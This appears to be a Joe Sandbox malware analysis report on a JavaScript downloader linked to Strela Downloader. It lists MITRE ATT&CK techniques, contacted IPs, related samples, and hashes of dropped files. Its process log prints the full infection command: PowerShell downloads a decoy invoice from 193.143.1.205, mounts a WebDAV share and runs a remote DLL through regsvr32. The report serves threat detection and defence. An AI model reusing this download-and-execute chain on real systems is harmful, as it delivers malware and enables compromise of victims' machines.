Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118092057022863.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118092057022863.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
390712401072120127.js	0%	ReversingLabs
390712401072120127.js	5%	Virustotal		Browse

Source	Detection	Scanner	Label
http://193.143.1.205:8888/d	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/t	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/tsvcs)O	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	84.201.210.18	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.2694540700.0000025CD2800000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2/C:	svchost.exe, 00000009.00000003.1479700507.0000025CD2700000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/d	net.exe, 00000007.00000003.1479258719.0000015DF08FB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1481754075.0000015DF08FB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/t	net.exe, 00000007.00000003.1479258719.0000015DF08FB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1481754075.0000015DF08FB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1481563244.0000015DF08C8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1476598355.0000015DF091B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/tsvcs)O	net.exe, 00000007.00000002.1481563244.0000015DF08C8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587925
Start date and time:	2025-01-10 19:27:17 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 54s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	390712401072120127.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/60@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 172.64.41.3, 162.159.61.3, 2.23.242.162, 23.209.209.135, 84.201.210.18, 2.16.168.107, 2.16.168.105, 2.16.168.125, 23.57.90.77, 23.57.90.76, 23.57.90.73, 3.219.243.226, 20.12.23.50, 23.217.172.185
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
13:28:15	API Interceptor	22x Sleep call for process: powershell.exe modified
13:28:19	API Interceptor	1x Sleep call for process: net.exe modified
13:28:19	API Interceptor	2x Sleep call for process: svchost.exe modified
13:28:26	API Interceptor	3x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	125141699249677575.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2843421561127533345.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1227622214229272730.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	853025795686920641.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	293816234142143228.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	301901880157741390.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	405322677135851429.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	620128062590131002.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	12315203731832427262.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1732630681161426175.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	1227622214229272730.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.25
	2453210565523714481.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.39
	13924233483066821789.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.23
	Ej86aa7Ki7.exe	Get hash	malicious	Unknown	Browse	84.201.210.38
	2153616741885716229.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.26
	77502473271720630.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.34
	2553416555111621752.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.18
	1495528197325499932.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.34
	31903173511658621632.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.19
	334130052300215064.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.19

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	74771923457277117.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	125141699249677575.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2843421561127533345.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1227622214229272730.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	853025795686920641.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	293816234142143228.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	301901880157741390.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	405322677135851429.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	620128062590131002.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1972511502582515381.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8022057604886922
Encrypted:	false
SSDEEP:	1536:RJszRK0I9i0k0I9wXq0I9UGJC/PQJCmJCovVsnQ9Sii1GY9zOoRXTpMNYpKhvUA4:RJE+Lfki1GjHwU/+vVhWqph
MD5:	8B7AF389A2766213EE5E3B9B36237691
SHA1:	91F6BDC877A2AD7374B075683B7D92ACA488A01B
SHA-256:	DF28CAEA0A78F20A527BD45BAAA90698A0C25B5BDE95DEFC90F2852BBE43BC1E
SHA-512:	3B4967769475728EE912A3A052A6A1B119EBB286B6619C7B51D8164FF997E15FD803C81E6551407BA290CCBB9FE39EABB2FE7EE69C0B27E9B313A796F683484B
Malicious:	false
Preview:	..Q^........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.....................................3~L.#.........`h.................h.......1.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x1de559cb, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1048576
Entropy (8bit):	0.9433030107072337
Encrypted:	false
SSDEEP:	1536:h7RSB2ESB2SSjlK/ZvxPXK0I9XGJCTgzZYkr3g16zV2UPkLk+kY+lKuy9ny5zPO9:h7RazaHvxXy2V2UR
MD5:	82D179CB5A630F0B94290DF4A5A90860
SHA1:	5D22CE52A4A537ED6972A85CB92659AE5C835077
SHA-256:	9B51D72726EB935CDBA848C47699BF68904D4566D9965FF86C05A607AE11435B
SHA-512:	76C92FD1D0F58BD4FA3476343BABD02C67B2C8AF14C64C91C7EF38014FFFEE92BBD489BDE646DA837337B5F60FE16659FD33A3F08B593FA2165CC49A592852BE
Malicious:	false
Preview:	..Y.... ...............X\...;...{......................0.x...... ...{s......}?.h.z.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{...................................{.i.....}?.................HA.......}?..........................#......h.z.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08109050201822808
Encrypted:	false
SSDEEP:	3:nBltKYeBSlXgGsl/nqlFcl1ZUllllW2ZSqllGBnX/l/Tj/k7/t:BltKzBSlXlsl/qlFclQ/lo2ZSe254
MD5:	52F5279E6A9843631C6F904817FD2A5C
SHA1:	B805E9420A65A02A3DBCE85D3F44FCF7FAC2CA04
SHA-256:	428D60171603C65AC161303538FE69CB4C462881EB6BB12284582BFDCE9B4560
SHA-512:	31659DEB61BE106F11AB69FCDEAA1B86E5F7E0032450AECD2B96687E2A69B1CBF524BF996F26E2BD819E4EE681F32EC72125469FAA21DB88D1AFF2B396C06DED
Malicious:	false
Preview:	.........................................;...{.......}?.. ...{s.......... ...{s.. ...{s.P.... ...{s.................HA.......}?.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.168813680116965
Encrypted:	false
SSDEEP:	6:iO4u/q2PCHhJ2nKuAl9OmbnIFUtSunHhZmwsunH7kwOCHhJ2nKuAl9OmbjLJ:71/vBHAahFUtTB/pb56HAaSJ
MD5:	ACF09C2B4D0D4A0B7187B90D897590A9
SHA1:	5D1FB40C28070E800DB569F9FF817E22D9AC68A8
SHA-256:	502F959D7F206266C385D924ABF800071B8B2D13C5C332CF0CD753E238AF35C3
SHA-512:	05FE71167FB5EF5ABFCF1955211E32D1E30C3CD48EB90D17921D598B93BACC4EB24F61B3CCD7C4D6E055E27AFC44D37CF98A12B27E7BCB62D455EB9A5CE2970C
Malicious:	false
Preview:	2025/01/10-13:28:19.095 1fb0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-13:28:19.098 1fb0 Recovering log #3.2025/01/10-13:28:19.098 1fb0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.168813680116965
Encrypted:	false
SSDEEP:	6:iO4u/q2PCHhJ2nKuAl9OmbnIFUtSunHhZmwsunH7kwOCHhJ2nKuAl9OmbjLJ:71/vBHAahFUtTB/pb56HAaSJ
MD5:	ACF09C2B4D0D4A0B7187B90D897590A9
SHA1:	5D1FB40C28070E800DB569F9FF817E22D9AC68A8
SHA-256:	502F959D7F206266C385D924ABF800071B8B2D13C5C332CF0CD753E238AF35C3
SHA-512:	05FE71167FB5EF5ABFCF1955211E32D1E30C3CD48EB90D17921D598B93BACC4EB24F61B3CCD7C4D6E055E27AFC44D37CF98A12B27E7BCB62D455EB9A5CE2970C
Malicious:	false
Preview:	2025/01/10-13:28:19.095 1fb0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-13:28:19.098 1fb0 Recovering log #3.2025/01/10-13:28:19.098 1fb0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.119294094092094
Encrypted:	false
SSDEEP:	6:iO4uN4q2PCHhJ2nKuAl9Ombzo2jMGIFUtSuDyhZmwsuDy7kwOCHhJ2nKuAl9OmbX:71KvBHAa8uFUtTDm/pDa56HAa8RJ
MD5:	52622F3254EF14769C5930F28B749110
SHA1:	8A4F4C8AF7C9BA4A3534EAF5B8B7CBA0B857E8F5
SHA-256:	6DA65F11986432F0FD98521AFE4298A5A7959A73650D0854BD08A782B31AE15D
SHA-512:	7FDBF749513634B9068A583B519938758090DE24EFA2B6479699BEF9BDA8D141430449BEF711A45FCDA46D8A54C05AB893A39AE6EBA925486CB15C0512CC40B5
Malicious:	false
Preview:	2025/01/10-13:28:19.229 1ac0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-13:28:19.231 1ac0 Recovering log #3.2025/01/10-13:28:19.231 1ac0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.119294094092094
Encrypted:	false
SSDEEP:	6:iO4uN4q2PCHhJ2nKuAl9Ombzo2jMGIFUtSuDyhZmwsuDy7kwOCHhJ2nKuAl9OmbX:71KvBHAa8uFUtTDm/pDa56HAa8RJ
MD5:	52622F3254EF14769C5930F28B749110
SHA1:	8A4F4C8AF7C9BA4A3534EAF5B8B7CBA0B857E8F5
SHA-256:	6DA65F11986432F0FD98521AFE4298A5A7959A73650D0854BD08A782B31AE15D
SHA-512:	7FDBF749513634B9068A583B519938758090DE24EFA2B6479699BEF9BDA8D141430449BEF711A45FCDA46D8A54C05AB893A39AE6EBA925486CB15C0512CC40B5
Malicious:	false
Preview:	2025/01/10-13:28:19.229 1ac0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-13:28:19.231 1ac0 Recovering log #3.2025/01/10-13:28:19.231 1ac0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\2d6beb15-f95d-4bc3-a9ea-3ee37a7e4d77.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.961129226325379
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqOsBdOg2Hgfcaq3QYiub6P7E4T3y:Y2sRdsKdMHgu3QYhbS7nby
MD5:	69ED37A0B8615EC400409033827AA057
SHA1:	FF8EE2C5B5831379FED7D00796F8D89BE353247E
SHA-256:	0BFCD3AAE4DE09F1AB185B4EC18843A10EDD7177C18721690E71D15338ED89E6
SHA-512:	78B4BDF645219B160C2EDCD7AF0F7588D747F9AB30DE836039D6C4C19ECEA71BE345FC312184B46D5E226916C208BCCDC7333D7D999970BB884F64724548E21B
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381093710831305","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":124139},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.961129226325379
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqOsBdOg2Hgfcaq3QYiub6P7E4T3y:Y2sRdsKdMHgu3QYhbS7nby
MD5:	69ED37A0B8615EC400409033827AA057
SHA1:	FF8EE2C5B5831379FED7D00796F8D89BE353247E
SHA-256:	0BFCD3AAE4DE09F1AB185B4EC18843A10EDD7177C18721690E71D15338ED89E6
SHA-512:	78B4BDF645219B160C2EDCD7AF0F7588D747F9AB30DE836039D6C4C19ECEA71BE345FC312184B46D5E226916C208BCCDC7333D7D999970BB884F64724548E21B
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381093710831305","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":124139},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.231091635032893
Encrypted:	false
SSDEEP:	96:S4bz5vsZ4CzSAsfTxiVud4TxY0CIOr3MCWO3VxBaw+bhrp:S43C4mS7fFi0KFYDjr3LWO3V3aw+bhrp
MD5:	AFE5985C04583ABDD812A7C60DFC041E
SHA1:	6003EA8AA13946F8CA87A80CC68FA2E7620FE877
SHA-256:	EECC4DDCD91D86BBC02A652422B3EFFEA8CB049FAF128274136EF2E461523C6A
SHA-512:	622BAF92BB3D2E4C77983D67A0715166AAC531EDA2AE8FC2D27E1AE6C996258AA540CDA4ACD9DA56AF3A0BB940E5B199CD0AEFBA6EE37F1FE7B4CAC34F0BDDD3
Malicious:	false
Preview:	*...#................version.1..namespace-8..\|o................next-map-id.1.Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/.0...dr................next-map-id.2.Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.2.$..o................next-map-id.4.Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/.3+...^...............Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/....^...............Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/T.3.a...............Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.U..a...............Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.$..o................next-map-id.5.Pnamespace-c66013b9_73b6_4b3f_b279_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.15029329894959
Encrypted:	false
SSDEEP:	6:iO4uDU4q2PCHhJ2nKuAl9OmbzNMxIFUtSuaNFZZmwsuozkwOCHhJ2nKuAl9OmbzE:71I4vBHAa8jFUtTqX/pU56HAa84J
MD5:	28284AFE0C9C1F52C24C5BB8A623F896
SHA1:	D69FEDDB2FF5B05BA7DB8FA637A1727BB837D3CF
SHA-256:	A61D5690B33FB5D715DF32BAB3B9909D0FCD8088A3C5C99EE18F14C757E0DABA
SHA-512:	F860046C4172E7473085FB2CBAAE906C27133B1CF5B9DD1B5CD242EF5AEA44BB08F749C1EEF254CAEABC48AF617BE90B1B3BAE388B727645D6FEE45A1A514B40
Malicious:	false
Preview:	2025/01/10-13:28:19.501 1ac0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-13:28:19.525 1ac0 Recovering log #3.2025/01/10-13:28:19.527 1ac0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.15029329894959
Encrypted:	false
SSDEEP:	6:iO4uDU4q2PCHhJ2nKuAl9OmbzNMxIFUtSuaNFZZmwsuozkwOCHhJ2nKuAl9OmbzE:71I4vBHAa8jFUtTqX/pU56HAa84J
MD5:	28284AFE0C9C1F52C24C5BB8A623F896
SHA1:	D69FEDDB2FF5B05BA7DB8FA637A1727BB837D3CF
SHA-256:	A61D5690B33FB5D715DF32BAB3B9909D0FCD8088A3C5C99EE18F14C757E0DABA
SHA-512:	F860046C4172E7473085FB2CBAAE906C27133B1CF5B9DD1B5CD242EF5AEA44BB08F749C1EEF254CAEABC48AF617BE90B1B3BAE388B727645D6FEE45A1A514B40
Malicious:	false
Preview:	2025/01/10-13:28:19.501 1ac0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-13:28:19.525 1ac0 Recovering log #3.2025/01/10-13:28:19.527 1ac0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 3, database pages 14, cookie 0x5, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	57344
Entropy (8bit):	3.2934437836618806
Encrypted:	false
SSDEEP:	192:/edRBpVui5V4R4dcQ5V4R4RtYWtEV2UUTTchqGp8F/7/z+FP:/e3ci5H5FY+EUUUTTcHqFzqFP
MD5:	07DF47BED166B0585C8FEA62FA2E76FC
SHA1:	EE9B33C2A1033AFF0711C57EB14205D52F899443
SHA-256:	0AD27A067E1B88B9D38BFAD51740272E71E9F2FD32F11F0F89A721F01F15DDB0
SHA-512:	4D8A25403DE5B85D8FBAD4AB29C2F5750DDF7183A5E8CD0C7C189B154D6711A860B6B9F9F382C6C2A375A7C5832B361DEC7338E71C3C2C9810918D59DDEA6840
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.202644984486613
Encrypted:	false
